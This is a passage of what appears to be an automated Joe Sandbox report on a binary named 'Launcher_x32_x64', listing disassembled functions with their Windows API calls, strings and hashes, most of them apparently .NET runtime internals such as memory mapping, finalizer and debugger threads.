CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,?,00000000,00000000), ref: 0128C0B3

Part of subcall function 00F99210: GetFileSize.KERNEL32(?,?,0000002C,?,0128BF8F,95E4D7D1,?,00000000), ref: 00F99218
Part of subcall function 00F99210: GetLastError.KERNEL32 ref: 00F99225
Part of subcall function 00F99210: SetLastError.KERNEL32(00000008), ref: 00F99238

UnmapViewOfFile.KERNEL32(?,00000001,00000001,00000000,00000001,000000F1,00000000,00000000,00000000,00000001), ref: 0128C168
CloseHandle.KERNEL32(?,00000001,00000001,00000000,00000001,000000F1,00000000,00000000,00000000,00000001), ref: 0128C18B
CloseHandle.KERNEL32(00000000,00000001,00000001,00000000,00000001,000000F1,00000000,00000000,00000000,00000001), ref: 0128C1B1
GetLastError.KERNEL32(00000001,00000001,00000000,00000001,000000F1,00000000,00000000,00000000,00000001), ref: 0128C1FF
SetLastError.KERNEL32(0000000E), ref: 0128C20B
CloseHandle.KERNEL32(0000002C,95E4D7D1,00000000,0000002C), ref: 0128C27A
UnmapViewOfFile.KERNEL32(00000000,95E4D7D1,00000000,0000002C), ref: 0128C29D

Part of subcall function 012D6F20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000002C,00000000,?,0128C1F5,00000001,00000001,00000000,00000001,000000F1,00000000,00000000,00000000,00000001), ref: 012D6FAC

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: File$ErrorLast$CloseHandleView$Unmap$CreateMapping$Sizefree
String ID:
API String ID: 2050550979-0
Opcode ID: 43e4bed0db8f4f1ab5884d5daf9fc3c5395139748cf730ada69832c2609ac054
Instruction ID: a544368f0b08d0a16efabcafa736eaee8c170bf1d70d0c8dd6c8be2e57b3a657
Opcode Fuzzy Hash: 43e4bed0db8f4f1ab5884d5daf9fc3c5395139748cf730ada69832c2609ac054
Instruction Fuzzy Hash: 2BD13AB0A11205DFEB24DFA8D944B9EBBF9FF48314F14821AE919AB3D0D7759904CB60

Function 0109F890 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LeaveCriticalSection.KERNEL32(?,?,000000FF), ref: 0109F9F7

Strings

The RW block metadata cannot be allocated, xrefs: 0109FB0D
Attempting to RW map a block that crosses the end of the allocated RX range, xrefs: 0109F990
Attempting to map a block that crosses the beginning of the allocated range, xrefs: 0109F99D
The RX block to map as RW was not found, xrefs: 0109F9D2
Failed to create RW mapping for RX memory, xrefs: 0109FAA6

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID: Attempting to RW map a block that crosses the end of the allocated RX range$Attempting to map a block that crosses the beginning of the allocated range$Failed to create RW mapping for RX memory$The RW block metadata cannot be allocated$The RX block to map as RW was not found
API String ID: 3988221542-2197784396
Opcode ID: fdbee7bb9d4696bce244ced99eefcaa2e8b6db203bde89a0d004ed95d12725c2
Instruction ID: 7e83177b8b15c9745c3755bd88fca900492896c1d3a75981c1738409f584c6f9
Opcode Fuzzy Hash: fdbee7bb9d4696bce244ced99eefcaa2e8b6db203bde89a0d004ed95d12725c2
Instruction Fuzzy Hash: E4918D75A00216AFCF24CF69D890BAABBF0FF48724F24816DE859E7351D775A841CB90

Function 012891F0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

towlower.API-MS-WIN-CRT-STRING-L1-1-0(00000043,95E4D7D1,?,00000000,?,000000FF,?,01148350,95E4D7D1,?,00000000), ref: 0128925C
towlower.API-MS-WIN-CRT-STRING-L1-1-0(00000044,?,000000FF,?,01148350,95E4D7D1,?,00000000), ref: 01289268
GetEnvironmentStringsW.KERNEL32(?,?,?,?,01148350,95E4D7D1,?,00000000), ref: 01289278
towlower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,01148350,95E4D7D1,?,00000000), ref: 01289298
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,01148350,95E4D7D1,?,00000000), ref: 01289385

Strings

DOTNET_, xrefs: 01289327
COMPlus_, xrefs: 012892EB

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: towlower$EnvironmentStrings$Free
String ID: COMPlus_$DOTNET_
API String ID: 2924130372-1316173318
Opcode ID: 6e1cbd07f6c0f65ba586e0da43cf0f4a75b15760809dda42d9998e97617c1e01
Instruction ID: 5ac6dd3dc88137af7da596919309e8eb6c634f4d6f80ca421b40650211a9cac7
Opcode Fuzzy Hash: 6e1cbd07f6c0f65ba586e0da43cf0f4a75b15760809dda42d9998e97617c1e01
Instruction Fuzzy Hash: 1C71B3B1A152069BEF20EF58D9847FE7BF8FB48318F144019EA45E72D4E7769880C750

Function 01319FE0 Relevance: 13.6, APIs: 9, Instructions: 148
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A015
GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A036
GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A05B
GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A083
GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A0A9
GetSystemInfo.KERNEL32(?,00000000,03A80888,03A44798), ref: 0131A0C9
MapViewOfFile.KERNELBASE(00000129,00000026,00000000,?,00000129,00000000,03A80888,03A44798), ref: 0131A0E7
VirtualQuery.KERNEL32(00000001,0109F7D5,0000001C,00000000,03A80888,03A44798), ref: 0131A117
MapViewOfFileEx.KERNEL32(00000129,00000026,00000000,?,00000129,00000001), ref: 0131A141

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: InfoSystem$FileView$QueryVirtual
String ID:
API String ID: 968504690-0
Opcode ID: 01357c9b062244ead2c3e507b3613c69ae0e7e8c5e19f75d8168d470e71f3348
Instruction ID: 8a714da3e2747222c7a61c96644185903ac47a662c6c0a4e0968e55c361a3781
Opcode Fuzzy Hash: 01357c9b062244ead2c3e507b3613c69ae0e7e8c5e19f75d8168d470e71f3348
Instruction Fuzzy Hash: 66515135E012499FDB29CFA8E8C4AAEB7BCEB48756F14412DF909E3218E73199448B50

Function 00F4ADC0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMemoryResourceNotification.KERNEL32(00000000,95E4D7D1,00000000,?,00000000,01342F04,000000FF,?,01289CED), ref: 00F4ADE6

Part of subcall function 01086B90: GetProcessHeap.KERNEL32(?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002,00000002,?,95E4D7D1), ref: 01086B9C
Part of subcall function 01086B90: RtlAllocateHeap.NTDLL(03A20000,00000000,00000002,?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002), ref: 01086BBA

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00F4AE38
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F4AE98
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F4AEF8
ResumeThread.KERNELBASE(000002EC,00000000,Function_0011ACF0,00000000,.NET Finalizer), ref: 00F4AF7F

Strings

.NET Finalizer, xrefs: 00F4AF5C
ResumeThread, xrefs: 00F4AF8C

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Create$Event$Heap$AllocateMemoryNotificationProcessResourceResumeThread
String ID: .NET Finalizer$ResumeThread
API String ID: 1015390596-3261778472
Opcode ID: 2a790764c9668e7d9c95606e0a1394999c7b6977bc5d4330be8b72024759f070
Instruction ID: ede5883563863eb21cb2e4b17166791fc09b43e75167480d2300ae7d2882896c
Opcode Fuzzy Hash: 2a790764c9668e7d9c95606e0a1394999c7b6977bc5d4330be8b72024759f070
Instruction Fuzzy Hash: 4151F6B1E917129BE7309F64D94575A7BE4AF04F30F20471EF9A1AB2C0E7B49980DB81

Function 00EF61D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00EF623C
OpenThreadToken.ADVAPI32(00000000), ref: 00EF6243
RevertToSelf.ADVAPI32 ref: 00EF624D
SetThreadToken.ADVAPI32(00000000,000000FF,00000000,00000000,00000001), ref: 00EF62AD
SetThreadDescription.KERNELBASE ref: 00EF631B
CloseHandle.KERNEL32(000000FF), ref: 00EF6332

Strings

UndoRevert/SetThreadToken failed for hToken = %d, xrefs: 00EF62CD

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Thread$Token$CloseCurrentDescriptionHandleOpenRevertSelf
String ID: UndoRevert/SetThreadToken failed for hToken = %d
API String ID: 1971310446-1701864498
Opcode ID: a68288c595d00ae37507b35304bd0de163593811ee95f142ebabe7dc3d99b96b
Instruction ID: 964c3b93aae0df42a9b3f6475b0c75ece335188bf45c2f5685b28c7a8383eefc
Opcode Fuzzy Hash: a68288c595d00ae37507b35304bd0de163593811ee95f142ebabe7dc3d99b96b
Instruction Fuzzy Hash: DB416271A00319DBDB20DFA9DC49BAEBBF8FB45728F104229E515F72E1D7B589048B90

Function 00E331D0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 258memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(95E4D7D1,80131506,?), ref: 0108BDCE
Part of subcall function 0108BD60: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 0108BDE2
Part of subcall function 0108BD60: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0108BDEE
Part of subcall function 0108BD60: HeapFree.KERNEL32(00000000,00000000), ref: 0108BE12

HeapFree.KERNEL32(00000000,014B9E54), ref: 00E332BA

Part of subcall function 01086BF0: GetProcessHeap.KERNEL32(00000002,00E3FECB,00000002,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086BFC
Part of subcall function 01086BF0: HeapAlloc.KERNEL32(03A20000,00000000,?,00000002,00E3FECB,00000002,?,00000002,00E3F233,?,?,?,95E4D7D1), ref: 01086C18

wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(014B9E44,00000018,00000017,00000018), ref: 00E33350
HeapFree.KERNEL32(00000000,0137F114,00000002,00000001,00000004,00000000,014B9E44,00000018), ref: 00E33421

Strings

System.Private.CoreLib.dll, xrefs: 00E33434
RCC, xrefs: 00E334CB

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$Free$_errno$AllocProcesswcsncpy_swcstoul
String ID: RCC$System.Private.CoreLib.dll
API String ID: 3955753208-1196381869
Opcode ID: f8eaa079245ae3ec37f4cdb102ebe60ae7c7657b6929feaa56a4df5c0d708b57
Instruction ID: 1ca9a5160a4342c2a937fe3168b30a896549f7ea5cc6e9dbcd76eae07c2171b7
Opcode Fuzzy Hash: f8eaa079245ae3ec37f4cdb102ebe60ae7c7657b6929feaa56a4df5c0d708b57
Instruction Fuzzy Hash: F2A1D270B006068FDB18EF75D899BAEBBE5FF44714F10911DD45AAB3A0DB79A904CB80

Function 010C1300 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116threadsynchronizationCOMMON

Download Yara Rule

APIs

SetThreadDescription.KERNELBASE ref: 010C1366
GetCurrentThreadId.KERNEL32 ref: 010C13FF
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 010C1430

Part of subcall function 010A7500: LeaveCriticalSection.KERNEL32(?,?,?,010C109F), ref: 010A7511
Part of subcall function 010A7500: SleepEx.KERNEL32(000000FF,00000000,010C109F), ref: 010A7559

Strings

.NET Debugger, xrefs: 010C1335
Debugger Thread spinning up, xrefs: 010C1384

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Thread$CriticalCurrentDescriptionLeaveObjectSectionSingleSleepWait
String ID: .NET Debugger$Debugger Thread spinning up
API String ID: 3582553491-698254634
Opcode ID: fdb19bf0453a627d24f2a8b946eac69c25b854e3c12d863a4781c8f2525cd377
Instruction ID: 844039b16c9faf723593d490598ec494bb780508bbfb808fdc4d62ef4336e09e
Opcode Fuzzy Hash: fdb19bf0453a627d24f2a8b946eac69c25b854e3c12d863a4781c8f2525cd377
Instruction Fuzzy Hash: DA41CF70A01216DFD764DB68C944BAEFFF4FF04B14F504299D865A72A2DB70A940CBD1

Function 00EF4520 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 260threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00EF45B9

Strings

T::ST - recycling thread 0x%p (state: 0x%x), xrefs: 00EF462C

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CurrentThread
String ID: T::ST - recycling thread 0x%p (state: 0x%x)
API String ID: 2882836952-1329013172
Opcode ID: 8eca2db6f780862fba68b5175f15eb28c14427a6346767e2a1466260ee92f511
Instruction ID: 631843de84d6db45473009f23fb327280fc181bc515de053f7057591b8ad4546
Opcode Fuzzy Hash: 8eca2db6f780862fba68b5175f15eb28c14427a6346767e2a1466260ee92f511
Instruction Fuzzy Hash: FFB1F270A007898FEB24EF64C5847BBBBE4AF04308F11502DDA56B72C1CBB4AD44CB91

Function 0109DAF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3F800: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000004,00000000,95E4D7D1,00000000,?), ref: 00E3F88C

Part of subcall function 00E3B170: HeapFree.KERNEL32(00000000,?,95E4D7D1,?,00000000,01326B2D,000000FF,?,00F44716,00000000), ref: 00E3B1B3

LoadLibraryExW.KERNELBASE(?,00000000,?,?,?,00000000,FaultRep.dll,95E4D7D1,00000001,?,?), ref: 0109DC41
GetLastError.KERNEL32 ref: 0109DC4F
SetLastError.KERNEL32(00000000), ref: 0109DD84

Strings

FaultRep.dll, xrefs: 0109DB51

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ErrorLast$FreeHeapLibraryLoadwcscpy_s
String ID: FaultRep.dll
API String ID: 479767642-539101712
Opcode ID: 29469cff27c4aa7bee1c7f0ad01f9eee404e5ba748061819bb9a3b07b6b2bd98
Instruction ID: 6e8a9b23dd2148996076a1bfa25183a6a849c33716134d39b602c98abe5583ef
Opcode Fuzzy Hash: 29469cff27c4aa7bee1c7f0ad01f9eee404e5ba748061819bb9a3b07b6b2bd98
Instruction Fuzzy Hash: 8F410871C06268EACB21DFA8DD987DDBBB8BB18700F2041DAE449A3291DB745F44DF90

Function 00EB7560 Relevance: 6.6, APIs: 5, Instructions: 350COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(014B9A18,95E4D7D1,03A45CC0,00000000,?,013339F1,000000FF,?,00E330D6,014B9560,014B9CE0,00000000), ref: 00EB75A4
InitializeCriticalSection.KERNEL32(014B9C8C,?,00E330D6,014B9560,014B9CE0,00000000), ref: 00EB75C8
InitializeCriticalSection.KERNEL32(014B9C54,?,00E330D6,014B9560,014B9CE0,00000000), ref: 00EB75EC

Part of subcall function 0109F6F0: LeaveCriticalSection.KERNEL32(03A80888,00000000,?,95E4D7D1,?,00000129,?,00EF4E45,95E4D7D1,?,00000000), ref: 0109F76C

LeaveCriticalSection.KERNEL32(014B0B50,?,01377690,00000002,00000000,00ED9550,00000018), ref: 00EB796B
InitializeCriticalSection.KERNEL32(01377544,00003000,00001000,00000000,?,03A7DFE0,00000001,?,00000000,00000000,?,?,?,?,?), ref: 00EB7799

Part of subcall function 01086B90: GetProcessHeap.KERNEL32(?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002,00000002,?,95E4D7D1), ref: 01086B9C
Part of subcall function 01086B90: RtlAllocateHeap.NTDLL(03A20000,00000000,00000002,?,0108A1C1,0000000C,95E4D7D1,?,00000002,?,?,01324B94,000000FF,?,01094F5F,00000002), ref: 01086BBA

Part of subcall function 00E4CB40: HeapFree.KERNEL32(00000000,00000000,03A2BEC0,00000000,01377534,01377444,?,?,00EB7962,?,01377690,00000002,00000000,00ED9550,00000018), ref: 00E4CC2F

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalSection$Initialize$Heap$Leave$AllocateFreeProcess
String ID:
API String ID: 136340039-0
Opcode ID: dc2e353399af0cf3bed39d06fc8d3e69c542926bef7f2f7870c4efe71e323ed9
Instruction ID: 315fa5be50b55013d1a97b2a29460672a147d7eccb252b3a94c5bd6b87ee90e2
Opcode Fuzzy Hash: dc2e353399af0cf3bed39d06fc8d3e69c542926bef7f2f7870c4efe71e323ed9
Instruction Fuzzy Hash: 67E1D1B1A057059FEB20CF64C895BCBBBF4EF44704F144169E949AF286C7B5A944CBE0

Function 01091550 Relevance: 6.1, APIs: 4, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000001,?,00001000,00000004,95E4D7D1,00000001,00000000,?,?,00000001,?), ref: 010915B6
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 010915D6
GetCurrentProcess.KERNEL32(00000001,?), ref: 0109160E
FlushInstructionCache.KERNEL32(00000000), ref: 01091615

Memory Dump Source

